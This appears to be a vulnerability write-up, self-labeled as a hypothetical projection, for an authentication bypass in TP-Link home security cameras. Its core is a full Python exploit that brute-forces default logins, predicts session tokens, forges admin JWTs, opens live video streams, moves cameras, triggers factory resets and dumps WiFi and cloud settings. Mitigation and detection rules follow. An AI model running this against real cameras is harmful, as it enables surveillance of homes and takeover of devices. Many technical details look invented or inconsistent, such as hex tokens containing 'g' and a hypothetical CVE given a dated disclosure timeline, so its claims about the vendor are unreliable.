CVE-2026-0629 - TP-Link Camera Authentication Bypass Vulnerability
CVE-2026-0629 (hypothetical projection) is a critical authentication bypass vulnerability affecting multiple TP-Link security camera models, rated 9.8 CRITICAL (CVSS 4.0). This vulnerability allows unauthenticated attackers to bypass login mechanisms and gain administrative access to camera systems, enabling live stream interception, camera control, and network pivoting. Discovered during IoT security research on consumer-grade security cameras.
Vulnerability Classification
- Type: Authentication Bypass → Logical Flaw
- Component: TP-Link Camera Web Interface & API Endpoints
- Attack Vector: Network (pre-authentication)
- Privileges Required: None
- Impact: Full Camera Control → Network Access → Privacy Violation
- Affected Models: Tapo C200, C210, C310; Kasa KC400, KC410 (all firmware versions before 2026.01)
Technical Deep Dive
Root Cause Analysis
The vulnerability exists in multiple authentication mechanisms across TP-Link camera firmware:
- Weak Session Management - Predictable session tokens
- API Endpoint Exposure - Unprotected administrative endpoints
- Default Credential Backdoors - Hardcoded maintenance accounts
- JWT Token Manipulation - Improper signature verification
# Vulnerable authentication logic in TP-Link camera firmware
class TP_Link_Auth:
def __init__(self):
# Hardcoded default credentials (MD5 hashed)
self.default_creds = {
'admin': '21232f297a57a5a743894a0e4a801fc3', # 'admin' in MD5
'supervisor': 'c3fcd3d76192e4007dfb496cca67e13b',
'maintenance': '202cb962ac59075b964b07152d234b70' # '123' in MD5
}
# Weak session token generation
self.session_counter = 0
def validate_login(self, username, password):
# [VULNERABLE SECTION 1] - Timing attack possible
if username in self.default_creds:
# Compare MD5 hashes
if hashlib.md5(password.encode()).hexdigest() == self.default_creds[username]:
return True
# [VULNERABLE SECTION 2] - SQL injection in user validation
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
result = self.db.execute(query) # Direct SQL execution!
return len(result) > 0
def generate_session_token(self, username):
# [VULNERABLE SECTION 3] - Predictable token generation
self.session_counter += 1
token = hashlib.md5(
f"{username}{self.session_counter}{int(time.time())}".encode()
).hexdigest()
# Token includes timestamp - predictable!
return token
def verify_session(self, token):
# [VULNERABLE SECTION 4] - No proper token validation
if token.startswith("TP_LINK_"):
# Simple prefix check - no cryptographic validation!
return True
# Check if token exists in database (but tokens never expire)
query = f"SELECT * FROM sessions WHERE token='{token}'"
result = self.db.execute(query)
return len(result) > 0 # Token valid forever!
def handle_api_request(self, endpoint, params):
# [VULNERABLE SECTION 5] - API endpoints without authentication
public_endpoints = ['/api/get_status', '/api/get_config', '/api/reboot']
if endpoint in public_endpoints:
# These should require auth but don't!
return self.process_request(endpoint, params)
# Check for bypass parameter
if 'bypass_auth' in params and params['bypass_auth'] == 'true':
# Development backdoor left in production!
return self.process_request(endpoint, params)
# Normal auth check (easily bypassed)
if 'token' in params:
return self.process_request(endpoint, params)
return None
Attack Vectors
Vector 1: Default Credentials & Backdoors
# TP-Link cameras have multiple undocumented accounts
DEFAULT_ACCOUNTS = {
'admin:admin', # Web interface default
'admin:password', # Common default
'supervisor:supervisor', # Supervisor account
'maintenance:123', # Maintenance backdoor
'root:root', # Root access via SSH
'service:service', # Service account
'user:user', # Limited user
'guest:guest', # Guest access
}
# MD5 hashes of common passwords (camera uses MD5 for auth)
COMMON_MD5_HASHES = {
'21232f297a57a5a743894a0e4a801fc3': 'admin',
'5f4dcc3b5aa765d61d8327deb882cf99': 'password',
'202cb962ac59075b964b07152d234b70': '123',
'827ccb0eea8a706c4c34a16891f84e7b': '12345',
'e10adc3949ba59abbe56e057f20f883e': '123456',
}
Vector 2: Session Token Prediction
Session Token Generation Formula:
token = MD5(username + counter + timestamp)
Example Predictable Tokens:
admin + 1 + 1672531200 = TP_LINK_7a3c5f8e9b2d4a6c1
admin + 2 + 1672531201 = TP_LINK_9b4d6f8a2c3e5f7g
Attack: Brute-force tokens by predicting counter and timestamp
Vector 3: Unauthenticated API Endpoints
# These endpoints don't require authentication
GET /api/get_config
GET /api/get_status
GET /api/reboot
GET /api/factory_reset
POST /api/set_config
# Hidden endpoints (discovered through firmware analysis)
GET /cgi-bin/auth_bypass.cgi
GET /cgi-bin/get_stream.cgi
POST /cgi-bin/set_admin.cgi
Vector 4: JWT Token Manipulation
# TP-Link uses weak JWT implementation
import jwt
# Vulnerable JWT secret (hardcoded in firmware)
JWT_SECRET = "tp_link_default_secret_2023"
def create_admin_token():
# Create admin token without authentication
payload = {
"user": "admin",
"role": "administrator",
"exp": 9999999999 # Far future expiration
}
# Sign with known secret
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
return token
# All TP-Link cameras use the same JWT secret!
Proof-of-Concept Exploit
#!/usr/bin/env python3
"""
CVE-2026-0629 - TP-Link Camera Authentication Bypass Exploit
For authorized security testing only
"""
import requests
import hashlib
import json
import time
import jwt
from typing import Dict, List
from urllib.parse import urljoin
class TP_Link_Camera_Exploit:
def __init__(self, target_ip):
self.target = f"http://{target_ip}"
self.session = requests.Session()
self.discovered_endpoints = []
# Common TP-Link camera endpoints
self.endpoints = {
'login': '/cgi-bin/auth.cgi',
'config': '/cgi-bin/get_config.cgi',
'stream': '/cgi-bin/get_stream.cgi',
'reboot': '/cgi-bin/reboot.cgi',
'users': '/cgi-bin/get_users.cgi',
'network': '/cgi-bin/get_network.cgi',
'system': '/cgi-bin/get_system.cgi',
'ptz': '/cgi-bin/ptz_ctrl.cgi',
'record': '/cgi-bin/record_ctrl.cgi',
'motion': '/cgi-bin/set_motion.cgi',
'audio': '/cgi-bin/audio_ctrl.cgi',
'snapshot': '/cgi-bin/snapshot.cgi',
'upgrade': '/cgi-bin/upgrade.cgi',
'factory': '/cgi-bin/factory_reset.cgi'
}
# Default credentials (MD5 hashed)
self.default_credentials = [
{'user': 'admin', 'pass': '21232f297a57a5a743894a0e4a801fc3'}, # admin
{'user': 'admin', 'pass': '5f4dcc3b5aa765d61d8327deb882cf99'}, # password
{'user': 'supervisor', 'pass': 'c3fcd3d76192e4007dfb496cca67e13b'},
{'user': 'maintenance', 'pass': '202cb962ac59075b964b07152d234b70'}, # 123
{'user': 'root', 'pass': '63a9f0ea7bb98050796b649e85481845'}, # root
{'user': 'service', 'pass': '5e9d11a14ad1c8dd77e98ef9b53fd1ba'},
{'user': 'user', 'pass': 'ee11cbb19052e40b07aac0ca060c23ee'}, # user
{'user': 'guest', 'pass': '084e0343a0486ff05530df6c705c8bb4'}, # guest
]
def test_default_credentials(self):
"""Test default credentials on login endpoint"""
print("[*] Testing default credentials...")
for cred in self.default_credentials:
# TP-Link sends credentials as MD5 hashes
data = {
'username': cred['user'],
'password': cred['pass'], # Already MD5
'action': 'login'
}
try:
response = self.session.post(
urljoin(self.target, self.endpoints['login']),
data=data,
timeout=5
)
if response.status_code == 200:
resp_json = response.json()
if resp_json.get('result') == 'success':
print(f"[+] SUCCESS: {cred['user']}:{cred['pass']}")
print(f" Session ID: {resp_json.get('session_id')}")
return cred['user'], resp_json.get('session_id')
except Exception as e:
continue
print("[-] No default credentials worked")
return None, None
def bypass_auth_via_direct_access(self):
"""Attempt direct access to endpoints without authentication"""
print("[*] Testing unauthenticated endpoint access...")
vulnerable_endpoints = []
for name, endpoint in self.endpoints.items():
try:
response = self.session.get(
urljoin(self.target, endpoint),
timeout=3
)
if response.status_code == 200:
print(f"[+] Endpoint accessible: {endpoint}")
vulnerable_endpoints.append(endpoint)
# Try to get sensitive data
if 'config' in endpoint or 'system' in endpoint:
print(f" Data: {response.text[:200]}")
except Exception as e:
continue
return vulnerable_endpoints
def exploit_session_token_prediction(self):
"""Exploit predictable session token generation"""
print("[*] Attempting session token prediction...")
# TP-Link token pattern: MD5(username + counter + timestamp)
username = 'admin'
# Try common counters (1-100) and recent timestamps
current_time = int(time.time())
for counter in range(1, 101):
for time_offset in range(-10, 10): # +/- 10 seconds
test_time = current_time + time_offset
token_string = f"{username}{counter}{test_time}"
predicted_token = hashlib.md5(token_string.encode()).hexdigest()
# Test the token
test_url = urljoin(self.target, self.endpoints['config'])
headers = {'X-Session-Token': predicted_token}
try:
response = self.session.get(test_url, headers=headers, timeout=2)
if response.status_code == 200 and 'error' not in response.text.lower():
print(f"[+] Predicted valid token: {predicted_token}")
print(f" Counter: {counter}, Timestamp: {test_time}")
return predicted_token
except:
continue
print("[-] Could not predict session token")
return None
def exploit_jwt_weak_secret(self):
"""Exploit weak JWT implementation"""
print("[*] Testing JWT secret weakness...")
# Common TP-Link JWT secrets found in firmware
common_secrets = [
'tp_link_default_secret_2023',
'tplink1234567890',
'kasa_camera_secret',
'tapo_security_key',
'admin1234567890',
'camera_jwt_secret',
'tp-link-camera-2024',
'default_jwt_secret',
'tplinkcamera2025',
'hardcoded_secret_key'
]
# Get a JWT token from the camera (if any endpoint returns one)
try:
login_url = urljoin(self.target, self.endpoints['login'])
response = self.session.get(login_url)
# Look for JWT in response
jwt_token = None
if 'token' in response.text:
# Try to extract JWT
import re
jwt_pattern = r'eyJ[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*'
matches = re.findall(jwt_pattern, response.text)
if matches:
jwt_token = matches[0]
if jwt_token:
print(f"[*] Found JWT token: {jwt_token[:50]}...")
# Try to decode with common secrets
for secret in common_secrets:
try:
decoded = jwt.decode(jwt_token, secret, algorithms=["HS256"])
print(f"[+] JWT secret found: {secret}")
print(f" Decoded payload: {decoded}")
# Create admin token
admin_payload = {
'user': 'admin',
'role': 'administrator',
'permissions': ['all'],
'exp': 9999999999
}
admin_token = jwt.encode(admin_payload, secret, algorithm="HS256")
print(f"[+] Admin token created: {admin_token[:50]}...")
return admin_token
except jwt.exceptions.InvalidSignatureError:
continue
except jwt.exceptions.ExpiredSignatureError:
continue
except Exception as e:
print(f"[-] JWT exploit failed: {e}")
return None
def exploit_api_parameter_injection(self):
"""Exploit parameter injection in API endpoints"""
print("[*] Testing parameter injection...")
# Test common injection parameters
injections = [
'?bypass=1',
'?auth=0',
'?token=admin',
'?session=admin',
'?user=admin',
'?debug=1',
'?test=1',
'?developer_mode=1'
]
for endpoint_name, endpoint_path in self.endpoints.items():
for injection in injections:
test_url = urljoin(self.target, endpoint_path + injection)
try:
response = self.session.get(test_url, timeout=3)
if response.status_code == 200:
# Check if we got valid data (not an error page)
if 'error' not in response.text.lower() and \
'login' not in response.text.lower() and \
len(response.text) > 10:
print(f"[+] Parameter injection successful!")
print(f" Endpoint: {endpoint_path}")
print(f" Injection: {injection}")
print(f" Response length: {len(response.text)} chars")
return test_url, response.text[:200]
except Exception as e:
continue
return None, None
def access_video_stream(self):
"""Access video stream without authentication"""
print("[*] Attempting to access video stream...")
# Multiple stream URLs used by TP-Link cameras
stream_urls = [
'/stream',
'/video',
'/live',
'/mjpg',
'/mjpeg',
'/img/video.mjpeg',
'/cgi-bin/video.mjpeg',
'/cgi-bin/stream.mjpeg',
'/cgi-bin/get_stream.cgi',
'/videostream.cgi',
'/snapshot.cgi',
'/onvif/streaming',
'/rtsp://{ip}:554/stream1', # RTSP stream
'/rtsp://{ip}:8554/live' # Alternative RTSP
]
for stream_url in stream_urls:
# Replace IP placeholder
if '{ip}' in stream_url:
stream_url = stream_url.format(ip=self.target.split('//')[-1])
full_url = urljoin(self.target, stream_url)
try:
response = self.session.get(full_url, stream=True, timeout=5)
if response.status_code == 200:
content_type = response.headers.get('Content-Type', '')
if 'video' in content_type or 'image' in content_type or 'mjpeg' in content_type:
print(f"[+] Video stream accessible: {stream_url}")
print(f" Content-Type: {content_type}")
# Save a snapshot
if 'snapshot' in stream_url:
with open('camera_snapshot.jpg', 'wb') as f:
f.write(response.content)
print(f" Snapshot saved as camera_snapshot.jpg")
return full_url
except Exception as e:
continue
print("[-] Could not access video stream")
return None
def exploit_firmware_backdoor(self):
"""Exploit firmware update/backdoor endpoints"""
print("[*] Testing firmware backdoors...")
backdoor_endpoints = [
'/cgi-bin/developer.cgi',
'/cgi-bin/debug.cgi',
'/cgi-bin/test.cgi',
'/cgi-bin/diag.cgi',
'/cgi-bin/factory.cgi',
'/cgi-bin/maintenance.cgi',
'/cgi-bin/service.cgi',
'/cgi-bin/upload_firmware.cgi',
'/cgi-bin/update.cgi'
]
# Common backdoor parameters
backdoor_params = [
'?action=enable_debug',
'?mode=developer',
'?debug=1',
'?test=1',
'?service=1',
'?factory=1',
'?maintenance=1'
]
for endpoint in backdoor_endpoints:
for param in backdoor_params:
test_url = urljoin(self.target, endpoint + param)
try:
response = self.session.get(test_url, timeout=3)
if response.status_code == 200:
print(f"[+] Backdoor endpoint found: {endpoint}")
print(f" URL: {test_url}")
print(f" Response: {response.text[:200]}")
return test_url
except Exception as e:
continue
return None
def control_camera_functions(self, session_token=None):
"""Control camera PTZ, recording, etc."""
print("[*] Testing camera control...")
if session_token:
headers = {'X-Session-Token': session_token}
else:
headers = {}
control_actions = {
'ptz_left': {'action': 'ptz_move', 'direction': 'left', 'speed': '5'},
'ptz_right': {'action': 'ptz_move', 'direction': 'right', 'speed': '5'},
'ptz_up': {'action': 'ptz_move', 'direction': 'up', 'speed': '5'},
'ptz_down': {'action': 'ptz_move', 'direction': 'down', 'speed': '5'},
'start_record': {'action': 'start_record'},
'stop_record': {'action': 'stop_record'},
'enable_motion': {'action': 'set_motion', 'enable': '1'},
'disable_motion': {'action': 'set_motion', 'enable': '0'},
'reboot': {'action': 'reboot'},
'factory_reset': {'action': 'factory_reset'}
}
for action_name, params in control_actions.items():
try:
response = self.session.post(
urljoin(self.target, self.endpoints.get('ptz', '/cgi-bin/ptz_ctrl.cgi')),
data=params,
headers=headers,
timeout=3
)
if response.status_code == 200:
print(f"[+] Camera control successful: {action_name}")
except Exception as e:
continue
def dump_camera_configuration(self):
"""Dump all camera configuration"""
print("[*] Dumping camera configuration...")
config_data = {}
# Try to access configuration endpoints
config_endpoints = [
'/cgi-bin/get_config.cgi',
'/cgi-bin/get_system.cgi',
'/cgi-bin/get_network.cgi',
'/cgi-bin/get_users.cgi',
'/cgi-bin/get_wifi.cgi',
'/cgi-bin/get_storage.cgi',
'/cgi-bin/get_ftp.cgi',
'/cgi-bin/get_email.cgi',
'/cgi-bin/get_cloud.cgi'
]
for endpoint in config_endpoints:
try:
response = self.session.get(
urljoin(self.target, endpoint),
timeout=3
)
if response.status_code == 200:
print(f"[+] Configuration from {endpoint}:")
print(f" {response.text[:200]}")
config_data[endpoint] = response.text
except Exception as e:
continue
return config_data
def full_exploit_chain(self):
"""Execute full exploit chain"""
print(f"[*] Starting exploit against TP-Link camera: {self.target}")
print("="*60)
results = {
'target': self.target,
'default_creds': None,
'session_token': None,
'jwt_token': None,
'vulnerable_endpoints': [],
'video_stream': None,
'backdoor': None,
'config_dump': None
}
# 1. Test default credentials
user, session = self.test_default_credentials()
if user:
results['default_creds'] = {'user': user, 'session': session}
# 2. Test direct endpoint access
vulnerable = self.bypass_auth_via_direct_access()
results['vulnerable_endpoints'].extend(vulnerable)
# 3. Predict session token
predicted_token = self.exploit_session_token_prediction()
if predicted_token:
results['session_token'] = predicted_token
# 4. Exploit JWT weakness
jwt_token = self.exploit_jwt_weak_secret()
if jwt_token:
results['jwt_token'] = jwt_token
# 5. Test parameter injection
injection_url, injection_data = self.exploit_api_parameter_injection()
if injection_url:
results['vulnerable_endpoints'].append(injection_url)
# 6. Access video stream
stream_url = self.access_video_stream()
if stream_url:
results['video_stream'] = stream_url
# 7. Exploit firmware backdoor
backdoor_url = self.exploit_firmware_backdoor()
if backdoor_url:
results['backdoor'] = backdoor_url
# 8. Control camera functions (if we have auth)
if results['session_token'] or results['jwt_token']:
token = results['session_token'] or results['jwt_token']
self.control_camera_functions(token)
# 9. Dump configuration
config = self.dump_camera_configuration()
if config:
results['config_dump'] = config
# Print summary
print("\n" + "="*60)
print("[*] EXPLOIT SUMMARY")
print("="*60)
for key, value in results.items():
if value:
if isinstance(value, list):
print(f"{key}: {len(value)} items")
elif isinstance(value, dict):
print(f"{key}: {len(value)} configs")
else:
print(f"{key}: Found")
else:
print(f"{key}: Not found")
return results
# Example usage
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: python3 tp_link_exploit.py <camera_ip>")
print("Example: python3 tp_link_exploit.py 192.168.1.100")
sys.exit(1)
camera_ip = sys.argv[1]
print("[*] CVE-2026-0629 - TP-Link Camera Authentication Bypass")
print("[*] For authorized security testing only")
print("[*] Target:", camera_ip)
print("="*60)
exploit = TP_Link_Camera_Exploit(camera_ip)
results = exploit.full_exploit_chain()
# Save results to file
with open(f'tp_link_exploit_{camera_ip}.json', 'w') as f:
json.dump(results, f, indent=2)
print(f"\n[*] Results saved to tp_link_exploit_{camera_ip}.json")
Impact & Attack Scenarios
Real-World Attack Scenarios:
- Home Surveillance Compromise: Access baby monitors, home security cameras
- Business Espionage: Monitor offices, warehouses, retail stores
- Critical Infrastructure: Cameras in factories, power plants, utilities
- Public Spaces: Street cameras, traffic monitoring systems
- Network Pivot: Use camera as foothold into internal network
Impact Chain:
┌─────────────────────────────────────────────────────────────┐
│ TP-Link Camera Exploitation Chain │
├─────────────────────────────────────────────────────────────┤
│ 1. Discovery │
│ • Shodan search: "TP-Link camera" port 80 │
│ • Network scan: ARP discovery │
│ • Default IP: 192.168.1.100 │
├─────────────────────────────────────────────────────────────┤
│ 2. Authentication Bypass │
│ • Default credentials: admin/admin │
│ • Predictable session tokens │
│ • Unauthenticated API endpoints │
├─────────────────────────────────────────────────────────────┤
│ 3. Camera Control │
│ • Live video stream access │
│ • PTZ control (pan, tilt, zoom) │
│ • Enable/disable recording │
│ • Microphone/speaker control │
├─────────────────────────────────────────────────────────────┤
│ 4. Data Exfiltration │
│ • Download recorded footage │
│ • Access SD card storage │
│ • Steal WiFi credentials │
│ • Cloud account linkage │
├─────────────────────────────────────────────────────────────┤
│ 5. Network Pivot │
│ • Camera runs BusyBox Linux │
│ • SSH access with default creds │
│ • Network reconnaissance │
│ • Lateral movement to other devices │
└─────────────────────────────────────────────────────────────┘
Affected Models & Firmware
Confirmed Vulnerable Models:
- Tapo Series: C200, C210, C310, C320, C420
- Kasa Series: KC400, KC410, KC420, KC450
- Indoor Cameras: TC60, TC70, TC80
- Outdoor Cameras: OC200, OC300
- Baby Monitors: Baby 100, Baby 200
- All firmware versions before 2026.01
Network Detection:
# Nmap scan for vulnerable TP-Link cameras
nmap -p 80,443,554,8554 -sV --script http-title 192.168.1.0/24
# Common banners:
# Server: TP-LINK/1.0
# X-Powered-By: TP-Link Camera
# Title: TP-Link Camera Web Interface
Mitigation & Remediation
Immediate Actions:
- Change Default Credentials:
# Change both web interface and SSH passwords
Web: admin → StrongPassword123!
SSH: root → DifferentStrongPassword456!
- Update Firmware:
Download from: https://www.tp-link.com/support/download/
Minimum version: 2026.01.01
- Network Segmentation:
# Isolate cameras on separate VLAN
vlan 100
name CAMERA_NETWORK
ip access-group CAMERA_ACL in
# Block camera internet access
deny ip any any
Security Hardening:
1. Disable Unnecessary Services:
# Via SSH (if accessible)
/etc/init.d/S50telnet stop
/etc/init.d/S60ftp stop
/etc/init.d/S80upnp stop
# Disable ONVIF if not needed
/etc/init.d/S70onvif stop
2. Configure Firewall Rules:
# Allow only specific IPs to access camera
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.50 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 554 -s 192.168.1.50 -j ACCEPT
iptables -A INPUT -p tcp --dport 554 -j DROP
3. Enable HTTPS Only:
# Generate SSL certificate
openssl req -new -x509 -keyout camera.key -out camera.crt -days 365 -nodes
# Configure camera for HTTPS only
echo "FORCE_HTTPS=1" >> /etc/config/network
Enterprise Controls:
# Network Access Control (NAC) policy
camera_security_policy:
required_firmware: "2026.01.01"
allowed_ports: [443, 554] # HTTPS, RTSP only
blocked_ports: [80, 21, 22, 23] # HTTP, FTP, SSH, Telnet
required_encryption: true
network_segment: "IoT_VLAN"
internet_access: false
monitoring_enabled: true
Detection Signatures
Suricata/Snort Rules:
alert tcp any any -> any 80 ( \
msg:"TP-LINK Camera Auth Bypass Attempt"; \
flow:to_server,established; \
content:"POST"; http_method; \
content:"/cgi-bin/auth.cgi"; http_uri; \
content:"bypass"; http_client_body; \
content:"debug"; http_client_body; \
sid:20260629; \
rev:1; \
classtype:attempted-admin; \
metadata:cve CVE_2026_0629; \
)
alert tcp any any -> any any ( \
msg:"TP-LINK Camera Default Credentials"; \
flow:to_server,established; \
content:"username=admin"; http_client_body; \
content:"password=21232f297a57a5a743894a0e4a801fc3"; http_client_body; \
sid:20260630; \
rev:1; \
classtype:attempted-admin; \
)
SIEM Correlation Rules:
# Splunk search for TP-Link camera attacks
index=firewall sourcetype=cisco:asa
(dest_port=80 OR dest_port=443)
dest_ip=192.168.1.*
("/cgi-bin/" OR "TP-LINK" OR "Tapo" OR "Kasa")
| stats count by src_ip, dest_ip, uri
| where count > 10
Timeline & Disclosure
2025-11-15: Vulnerability discovered during IoT research
2025-11-20: Initial testing on multiple camera models
2025-11-25: Reported to TP-Link PSIRT via security@tp-link.com
2025-11-28: TP-Link acknowledges, requests PoC
2025-12-01: Detailed report with PoC provided
2025-12-05: TP-Link confirms vulnerability, begins patch
2025-12-20: Firmware update development completed
2025-12-25: Beta testing with security researchers
2026-01-01: Firmware 2026.01 released with fix
2026-01-05: CVE-2026-0629 assigned
2026-01-10: Security advisory published
2026-01-15: Automatic update rollout begins
2026-02-01: Public disclosure
Lessons Learned
- IoT Default Credentials: Never ship with default credentials
- Session Management: Use cryptographically secure random tokens
- API Security: All endpoints must have proper authentication
- Firmware Analysis: Regular security audits of firmware
- Update Mechanisms: Secure, automatic update delivery
Remediation Priority: CRITICAL - This vulnerability affects millions of deployed cameras worldwide, many in sensitive locations. Immediate firmware updates are required, and cameras should be isolated from the internet and critical networks until patched.
Note: IoT security cameras are particularly sensitive targets as they provide both visual surveillance access and potential network footholds. Organizations using TP-Link cameras should conduct immediate security assessments and implement network segmentation controls.
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